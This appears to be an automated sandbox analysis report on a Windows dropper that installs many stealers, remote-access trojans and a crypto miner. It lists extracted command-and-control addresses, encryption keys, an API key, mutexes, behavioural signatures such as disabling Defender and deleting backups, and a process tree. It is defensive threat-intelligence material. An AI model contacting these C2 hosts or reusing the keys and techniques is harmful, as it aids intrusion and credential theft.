Resubmissions
15/09/2026, 11:12
260915-navswatygv1007/09/2026, 00:25
260907-aqql7sttav1004/08/2026, 14:58
260804-sb5rpashpf1004/08/2026, 06:06
260804-gt3t9seb381004/08/2026, 05:43
260804-gey8jaw1bx1024/07/2026, 07:14
260724-h2zy1svbmg1024/07/2026, 07:09
260724-hy9ztatwfy1024/07/2026, 06:50
260724-hmdggahn6v1021/07/2026, 16:13
260721-tpe9macc42321/07/2026, 16:00
260721-tfvb7axvcy10Analysis
- max time kernel
343s - max time network
601s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 14:58
General
- Target New Text Document mod.exe
- Size 8KB
- Sample260804-sb5rpashpf
- SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
Score
10/10
Malware Config
Extracted
Family
-
svcstealer
C2
-
http://196.251.107.186/acovp/post.php
-
http://192.162.199.186/usovp/post.php
-
http://196.251.107.163/bioxp/post.php
Attributes
-
build_id
SlLoaded
-
srv_delay
1
-
srv_retry
1
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
94.158.245.53:9992
Mutex
-
4abbc77f-27e2-4983-8fe9-6fafbfb7627b
Attributes
-
encryption_key
F5CCD6560C6A9C857BE240A8EE0DF9CF88BC3B2B
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
ratonrat
Version
-
Professional
C2
-
16.170.169.119:8080
Mutex
-
GPMEaht28D0drQKjxak6e0p
Attributes
-
assist
false
-
box
false
-
box_icon
Error
-
box_msg
I'm the message box description
-
box_title
Hello World
-
defender
false
-
delay
0
-
hide_file
false
-
open_website
false
-
process_critical
false
-
raw
silly21
-
reconnect
3
-
startup
true
-
tag
Infected
-
uac
false
-
vm
false
-
website
https://t.me/example
Extracted
Family
-
vidar
Version
-
2.6
Botnet
-
ee24521c6a3a8dc1be6736334f3e1620
C2
-
https://sot.tbo88men.top
-
https://t.me/np33yk
-
https://steamcommunity.com/profiles/76561198671804195
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0
Extracted
Family
-
asyncrat
Botnet
-
Default
Attributes
-
delay
1
-
install
true
-
install_file
vortex.exe
-
install_folder
%AppData%
-
local_host
127.0.0.1
aes.plain
Extracted
Family
-
remus_stealer
C2
-
http://carogra.biz:4219
-
http://angect.xyz:7838
-
http://myrtler.biz:9549
Extracted
Family
-
stealc
Botnet
-
R909
C2
-
http://45.131.214.189
Attributes
-
url_path
/6a4133a676c340b0b27b.php
rc4.traffic_key
rc4.C2
Extracted
Family
-
vidar
Version
-
1.5
Botnet
-
3bc41b1aa7524456de3f85c8d329d639
C2
-
https://1.me/hgo9tx
-
https://steamcommunity.com/profiles/76561198707628078
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Extracted
Family
-
xworm
Version
-
5.0
C2
-
185.208.156.210:7000
Mutex
-
oZ1kVjhDzAsWplGu
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
aes.plain
Extracted
Family
-
needle_stealer
C2
-
http://130.12.180.135:3000/api/v2
Attributes
-
api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
-
base_extension
false
-
self_destruct
false
Extracted
Family
-
quasar
Attributes
-
encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
-
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
-
reconnect_delay
3000
Extracted
Family
-
phorphiex
C2
-
178.16.54.109
Mutex
-
TWIZTPEINF
Extracted
Family
-
phorphiex
C2
-
http://178.16.54.109/spmm/
-
http://178.16.54.109/ot/
Mutex
-
86695
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
- Family: Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: RatonRAT
RatonRAT is an information stealer written in C#.
- Family: Remus
Remus is a stealer written in C++.
- Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
- Family: Stealc
Stealc is an infostealer written in C++.
- Family: SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Async RAT payload 1 IoCs
- Detect SalatStealer payload 1 IoCs
- Detect Xworm Payload 1 IoCs
- Detects NeedleStealer payload 1 IoCs
- Detects RatonRAT payload 1 IoCs
- Detects SiriusRAT 1 IoCs
- Detects Stealc stealer Version 2 1 IoCs
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Quasar payload 3 IoCs
- UAC bypass 3 TTPs 1 IoCs
- XMRig Miner payload 2 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell and hide display window.
- Deletes system backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file 48 IoCs
- Manipulates Digital Signatures 1 TTPs 4 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 15 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Signed with revoked ConnectWise certificate 4 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- Checks computer location settings 2 TTPs 10 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Modifies file permissions 1 TTPs 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 8 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 1 TTPs 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- UPX packed file 39 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Costura .NET executable packer 1 IoCs
Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.
- Drops file in Program Files directory 21 IoCs
- Drops file in Windows directory 11 IoCs
- Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 59 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies trusted root certificate store through registry 1 TTPs 2 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
- System Location Discovery: System Language Discovery 1 TTPs 38 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- System Time Discovery 1 TTPs 3 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 8 IoCs
Inno Setup installer
- NSIS installer 3 IoCs
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 26 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 3 IoCs
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Enumerates system info in registry 2 TTPs 19 IoCs
- GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 6 IoCs
- Modifies data under HKEY_USERS 6 IoCs
- Modifies registry class 60 IoCs
- Modifies system certificate store 2 TTPs 12 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 42 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 4 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 29 IoCs
- Suspicious use of SendNotifyMessage 8 IoCs
- Suspicious use of SetWindowsHookEx 5 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 4 IoCs
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
- Downloads MZ/PE file
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\4.exe"C:\Users\Admin\AppData\Local\Temp\a\4.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe"C:\Users\Admin\AppData\Local\Temp\a\3.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\a\2.exe"C:\Users\Admin\AppData\Local\Temp\a\2.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-37W0Z9Q5J0.tmp\2.tmp"C:\Users\Admin\AppData\Local\Temp\is-37W0Z9Q5J0.tmp\2.tmp" /SL5="$502EA,4057916,1011712,C:\Users\Admin\AppData\Local\Temp\a\2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1.exe"C:\Users\Admin\AppData\Local\Temp\a\1.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b74843ad95bef0e9.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\sx0e5ad756.exe"C:\Users\Admin\AppData\Local\Temp\sx0e5ad756.exe"4⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\8cc35048be814aac\ScreenConnect.ClientSetup.msi"4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exe"C:\Users\Admin\AppData\Local\Temp\a\support.client.exe"3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\a\xmrig.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\a7118141be1f.exe"C:\Users\Admin\AppData\Local\Temp\a\a7118141be1f.exe"3⤵
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/@DriftzOPz4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x35c,0x7ff91c38c188,0x7ff91c38c194,0x7ff91c38c1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2024,i,9855539811328953121,3984200616608406585,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1812,i,4886427499837515449,2344923469407633644,262144 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2484,i,5542125716455959872,13568369602636791218,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,13317159163210295982,7971847057309285163,2097152 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3472,i,8279871483835479080,13177779089722426654,2097152 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4140,i,13916855980168083812,9979221307117091126,2097152 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4152,i,1071943199071857216,3512826411636948776,2097152 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5100,i,3485967753649788959,2481388011068188280,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4060,i,2455358872692933687,10190357889829603834,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5188,i,11411810506262532778,3650330967525794160,2097152 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5588,i,13982067439810552859,672698518661037437,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5588,i,13982067439810552859,672698518661037437,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4060,i,4111252824234384236,2335659395771202288,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,3804239011138246583,7896303829965238933,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5964,i,9137161963508208770,2582461873488786839,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6000,i,16898242893359916314,12434756651662772923,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6264,i,5635062436843111615,12437623644359327880,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,156907699599564222,9498276172721668528,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6240,i,12658152557164042318,15013656774606647337,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4608,i,5516160430437451742,654111309447712365,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4780,i,7411821495780880371,5257265263549184315,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4784,i,8313774515768513056,5364753915747437796,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4972,i,13964744502723282750,5642687674890791523,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5900,i,3966779703253134432,2553959846353789131,524288 --field-trial-handle=2468,i,14256376887113630496,12679862289595685907,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:85⤵
-
-
